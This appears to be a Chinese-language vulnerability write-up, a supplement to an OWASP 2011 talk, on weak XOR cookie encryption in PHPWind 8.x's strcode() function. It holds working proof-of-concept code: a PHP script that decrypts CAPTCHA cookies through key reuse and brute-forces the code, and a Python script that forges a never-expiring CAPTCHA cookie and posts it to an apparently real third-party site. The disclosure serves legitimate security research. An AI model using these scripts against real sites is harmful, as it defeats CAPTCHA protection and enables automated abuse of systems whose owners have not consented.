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本文只是补充OWASP 2011上主题演讲的一些细节。想了解背景可以参考此PPT。
由于时间匆忙，且家里发生了一些事情，所以这些都是2个月前的一些研究结果。代码也写得很粗糙，但基本能用。
描述
在PHPWind 8.x 中（甚至包括一些老版本），strcode()函数是核心的加密函数，用于很多地方，比如cookie的加密。但strcode()函数只是简单的实现了XOR加密，由于缺乏HMAC和IV，使得strcode() 存在Reused Key Attack 与 Bit-flipping Attack。攻击者通过一定的方法能够解密任意密文，或者构造出任意明文的密文。
细节
解密任意密文
在common.php 中：
/**
* 加密、解密字符串
*
*@global string $db_hash
*@global array $pwServer
*@param $string 待处理字符串
*@param $action 操作，ENCODE|DECODE
*@return string
*/
function StrCode($string, $action ='ENCODE') {
$action!= 'ENCODE' && $string = base64_decode($string);
$code= '';
$key= substr(md5($GLOBALS['pwServer']['HTTP_USER_AGENT'] . $GLOBALS['db_hash']), 8,18);
$keyLen= strlen($key);
$strLen= strlen($string);
for($i = 0; $i < $strLen; $i++) {
$k= $i % $keyLen;
$code.= $string[$i] ^ $key[$k];
}
return($action != 'DECODE' ? base64_encode($code) : $code);
}
那么，以破解验证码为例。在phpwind中，验证码是在ck.php中按照如下方式生成的：
functiongetCode($type=null,$set=true) {
empty($type)&& $type = $this->gdcontent;
$code= '';
switch($type) {
case3:
global$db_charset,$lang;
require_onceGetLang('ck');
$step= strtoupper($db_charset) == 'UTF-8' ? 3 : 2;
$len = (strlen($lang['ck'])/$step) - 1;
for($i = 0; $i < $this->num; $i++) {
$code.= substr($lang['ck'],mt_rand(0,$len)*$step,$step);
}
$set&& $this->cookie($code);
if(strtoupper($db_charset) <> 'UTF-8') {
$code= $this->convert($code,'UTF-8',$db_charset);
}
$code= explode(',',wordwrap($code,3,',',1));
break;
case2:
$list= 'BCEFGHJKMPQRTVWXY2346789';
$len = strlen($list) - 1;
for ($i = 0; $i <$this->num; $i++) {
$code.= $list[mt_rand(0,$len)];
}
$set&& $this->cookie($code);
break;
default:
$list= '2346789';
$this->gdtype== 3 && $list .= '15';
$len= strlen($list) - 1;
mt_srand((double)microtime() * 1000000);
for($i = 0; $i < $this->num; $i++) {
$code.= $list{mt_rand(0, $len)};
}
$set&& $this->cookie($code);
}
return$code;
}
同时验证码的字符集只有24个，因为有些字符容易让用户产生混淆，比如字母"l"与数字"1"：
$list= 'BCEFGHJKMPQRTVWXY2346789';
最终将生成的验证码与时间戳绑定后写入Cookie中：
加密前的结构如下：
根据Reused Key Attack的攻击方法，知道明文1、密文1、密文2后，可以通过XOR操作推导出明文2。在验证码的应用中，有两个因素比较关键，一个是时间戳，一个是验证码的值。
但实际上有很多地方可以暴露时间戳。比如下面的地方：
HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Mon, 05 Sep 2011 03:08:29 GMT
Content-Type: image/png
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.2.10
Set-Cookie: dd499_c_stamp=1315192109; expires=Tue, 04-Sep-2012 03:08:29 GMT;path=/
Set-Cookie: dd499_lastvisit=3522%091315192109%09%2Fck.php%3Fnowtime1315191874102;expires=Tue, 04-Sep-2012 03:08:29 GMT; path=/
Pragma: no-cache
Cache-control: no-cache
Set-Cookie: dd499_cknum=AQsFB1VdVlRSC28xUVYMBgUDUgEFClEGVANRBwQBAgJbBQNVCAABCgZWB1E;expires=Tue, 04-Sep-2012 03:08:29 GMT; path=/
获取了时间戳和已知的验证码1后，可以构造出服务端使用的明文；结合抓取到的这次密文，就可以推导出任意密文的明文了。
但明文中未直接包含验证码的值，而只是使用了验证码的MD5，因此要破解出验证码，需要采用MD5 rainbow table的方式来逆向推导MD5后的验证码值。因为phpwind采用的验证码位数不是很多，只有4位、5位或6位，因此实际上只需要计算 24^4 = 331776 或者 24^5 = 7962624 次即可（验证码从24个字符中产生）。
演示代码如下：
<?php
$code1 = "QPG3W8";
$t = 1320392525;
$str1 = base64_decode("AQUFBVIJAwIKAzloVVFRAQAOBFcEBQUDCVQMBQlWBgxWBwIOBQFTUQUBAQc");
// cipher to crack
//加密方式： 时间戳."\t\t".md5(验证码.时间戳);
$str2 = base64_decode("AQUFBVIJAwIBDjloXAYEBwJRAwAADVgBCVRdUlUAAgcHBlABCQMBBgAIAwE");
echo "TimeStamp is: ".$t."\n";
for ($jmp = 0; $jmp<20; $jmp++){
$x = ($t-10+$jmp)."\t\t".md5($code1.($t-10+$jmp));
$guess = "";
for ($i=0;$i<strlen($str1);$i++){
$guess .= chr(ord($x[$i]) ^ ord($str1[$i]) ^ ord($str2[$i]) );
}
//echo $guess."\n";
if ( is_numeric(substr($guess,0,10)) && preg_match("/^[a-z0-9]*$/i", substr($guess,-32) ) ){
//if ($jmp == 10){
echo "\nGuess Result is: ".$guess."\n";
break;
}
}
// 遍历出checkcode
$counter = 0;
$startTime = time();
$cksets = 'BCEFGHJKMPQRTVWXY2346789';
function bruteforce_guess($p){
global $counter;
global $cksets;
for ($a=0;$a<strlen($cksets);$a++){
$result = "";
$result[0] = $cksets[$a];
for($b=0;$b<strlen($cksets);$b++){
$result[1] = $cksets[$b];
for($c=0;$c<strlen($cksets);$c++){
$result[2] = $cksets[$c];
for($d=0;$d<strlen($cksets);$d++){
$result[3] = $cksets[$d];
for($e=0;$e<strlen($cksets);$e++){
$result[4] = $cksets[$e];
for($f=0;$f<strlen($cksets);$f++){
$counter ++;
$result[5] = $cksets[$f];
$result = $result[0].$result[1].$result[2].$result[3].$result[4].$result[5];
if (md5($result.substr($p,0,10)) == substr($p,-32) ){
echo "CheckCode is: ".$result."\n";
return $result;
}
if ($counter % 300000 == 0){
echo ".";
}
}
}
}
}
}
}
return False;
}
function random_guess($p){
global $counter;
global $cksets;
for(;;){
$result = '';
$len = strlen($cksets) - 1;
$counter ++;
for ($i = 0; $i < strlen($code1); $i++) {
$result .= $cksets[mt_rand(0,$len)];
}
if (md5($result.substr($p,0,10)) == substr($p,-32) ){
echo "CheckCode is: ".$result."\n";
break;
}
if ($counter % 300000 == 0){
echo ".";
}
}
}
bruteforce_guess($guess); // 遍历所有可能性
//random_guess($guess); //随机生成方式遍历
echo "Counter is: ".$counter."\n";
echo "Spend Time: ".(time()-$startTime)." Seconds\n";
function hex($str){
$result = '';
for ($i=0;$i<strlen($str);$i++){
$result .= "\\x".ord($str[$i]);
}
return $result;
}
?>
测试如下，要破解如下验证码：
攻击效果：
构造任意明文的密文
还是以验证码为例，构造一个永久有效的验证码。
在phpwind中，是通过以下过程验证一个验证码的：
1. Post参数 gdcode 的值为 valueA
2. 解密cookie cknum的值，获取到原文为 valueB
3. 通过safecheck()函数验证valueB的时间戳是否合法，以及valueB的 md5 是否与valueA的计算结果一致
Global.php:
/**
* 校验验证码
*
*@param string $code
*/
function GdConfirm($code,$bool = null) {
Cookie('cknum','', 0);
if(!$code || !SafeCheck(explode("\t", StrCode(GetCookie('cknum'),'DECODE')), strtoupper($code), 'cknum', 1800)) {
if($bool){
returnfalse;
}else{
Showmsg('check_error');
}
}
returntrue;
}
Common.php:
/**
* 检查cookie是否过期
*
*@global int $timestamp
*@param array $cookieData cookie数据
*@param string $pwdCode 用户私有信息
*@param string $cookieName cookie名
*@param int $expire 过期秒数
*@param bool $clearCookie 验证错误是否清除cookie
*@param bool $refreshCookie 是否刷新cookie
*@return bool
*/
function SafeCheck($cookieData, $pwdCode,$cookieName = 'AdminUser', $expire = 1800,$clearCookie = true ,$refreshCookie =true) {
global$timestamp;
if($timestamp- $cookieData[0] > $expire) {
Cookie($cookieName,'', 0);
returnfalse;
}elseif ($cookieData[2] != md5($pwdCode . $cookieData[0])) {
$clearCookie&& Cookie($cookieName, '', 0);
returnfalse;
}
if($refreshCookie) {
$cookieData[0]= $timestamp;
$cookieData[2]= md5($pwdCode . $cookieData[0]);
Cookie($cookieName,StrCode(implode("\t", $cookieData)));
}
returntrue;
}
注意到验证码的失效时间是服务端时间的1800秒之后。攻击者可以通过构造一个超级大的时间使得判断条件永远成立。
$timestamp– $cookieData[0] < 0
演示代码如下：
import string
import urllib2
import urllib
#from urlparse import urlparse
import httplib
import base64
import md5
plaintext1 = "1320392525"+"\t\t"+md5.new("QPG3W8"+"1320392525").hexdigest()
ciphertext1 = base64.b64decode("AQUFBVIJAwIKAzloVVFRAQAOBFcEBQUDCVQMBQlWBgxWBwIOBQFTUQUBAQc=")
bigtime = "2000000000"
plaintext2 = bigtime+"\t\t"+md5.new("2MY8W3"+bigtime).hexdigest()
ciphertext2 = ''
for i in range(0,len(plaintext1)):
ciphertext2 += chr(ord(plaintext1[i]) ^ ord(ciphertext1[i]) ^ ord(plaintext2[i]))
cookie = base64.b64encode(ciphertext2)
url = "http://www.mtkjm.cn/register.php?verify=7f3e5fe4"
data = {'action':'regcheck','gdcode':'2MY8W3','type':'reggdcode'}
data = urllib.urlencode(data)
headers = {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20',
'Cookie':'be2f1_cknum='+cookie}
req = urllib2.Request(url,data,headers)
f = urllib2.urlopen(req)
print f.read()
测试效果：
（返回值为0说明验证通过，返回值为1是验证不通过）
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